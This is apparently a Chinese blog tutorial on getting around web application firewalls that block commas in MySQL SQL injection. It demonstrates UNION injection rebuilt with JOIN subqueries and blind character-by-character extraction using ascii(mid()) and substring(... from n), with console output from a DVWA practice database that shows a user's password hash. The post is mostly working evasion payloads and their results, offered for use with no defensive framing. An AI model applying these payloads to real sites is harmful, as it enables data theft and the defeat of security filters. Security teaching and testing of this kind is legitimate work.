SQL注入--显注和盲注中过滤逗号绕过
2018-08-16 22:24
295 查看
SQL注入逗号绕过
1.联合查询显注绕过逗号
在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联合查询不能用了。绕过
在显示位上替换为常见的注入变量或其它语句
union select 1,2,3; union select * from ((select 1)A join (select 2)B join (select 3)C); union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
在数据库中演示联合查询
UNION开始是我们在URL中注入的语句,这里只是演示,在实际中如果我们在注入语句中有逗号就可能被拦截
mysql> select user_id,user,password from users union select 1,2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.04 sec)
不出现逗号,使用Join来注入
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C); +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
查询我们想要的数据
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);; +---------+-------+-------------------------------------------------+ | user_id | user | password | +---------+-------+-------------------------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 1 | 2 | root@192.168.228.1 dvwa c:\phpStudy\MySQL\data\ | +---------+-------+-------------------------------------------------+ 2 rows in set (0.08 sec)
2.盲注中逗号绕过
MID 和substr 函数用于从文本字段中提取字符mysql> select mid(user(),1,2); +-----------------+ | mid(user(),1,2) | +-----------------+ | ro | +-----------------+ 1 row in set (0.04 sec)
查询数据库用户名第一个字符的ascii码
mysql> select user_id,user,password from users union select ascii(mid(user(),1,2)),2,3; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | 114 | 2 | 3 | +---------+-------+----------------------------------+ 2 rows in set (0.05 sec)
盲注,通过猜ascii值
mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=115) ; Empty set mysql> select user_id,user,password from users where user_id=1 and (select ascii(mid(user(),1,2))=114) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.04 sec)
逗号绕过SUBTTRING 函数
substring(str FROM pos)
从字符串str的起始位置pos 返回一个子串
mysql> select substring('hello' from 1); +---------------------------+ | substring('hello' from 1) | +---------------------------+ | hello | +---------------------------+ 1 row in set (0.04 sec) mysql> select substring('hello' from 2); +---------------------------+ | substring('hello' from 2) | +---------------------------+ | ello | +---------------------------+ 1 row in set (0.03 sec)
注入
mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=114) ; Empty set //substring(user() from 2)为o //o的ascii为111, mysql> select user_id,user,password from users where user_id=1 and (ascii(substring(user() from 2))=111) ; +---------+-------+----------------------------------+ | user_id | user | password | +---------+-------+----------------------------------+ | 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | +---------+-------+----------------------------------+ 1 row in set (0.03 sec)
相关文章推荐
- SQL注入技巧之显注与盲注中过滤逗号绕过详析
- SQL注入过滤限制绕过方法---转
- Sql注入waf过滤机制及绕过姿势
- 深入了解SQL注入绕过waf和过滤机制
- SQL注入过滤限制绕过方法
- 深入了解SQL注入绕过waf和过滤机制
- 深入理解SQL注入绕过WAF和过滤机制
- 深入理解SQL注入绕过WAF与过滤机制
- 深入了解SQL注入绕过waf和过滤机制
- 深入了解SQL注入绕过waf和过滤机制
- 深入了解SQL注入绕过waf和过滤机制
- 深入理解SQL注入绕过WAF和过滤机制
- 绕过WAF继续SQL注入常用方法
- 如何绕过网站防火墙WAF进一步sql注入
- SQL注入-盲注
- 通用的关于sql注入的绕过技巧(利用mysql的特性)
- 用HTML+PHP写一个留言板来进行XSS测试&学习 第三篇(简单的过滤标签功能实现&绕过)
- asp.net 全局sql注入处理 sql关键字过滤 global过滤sql
- 过滤关键字大全-网页关键字过滤-sql注入关键字过滤
- xss绕过过滤之方法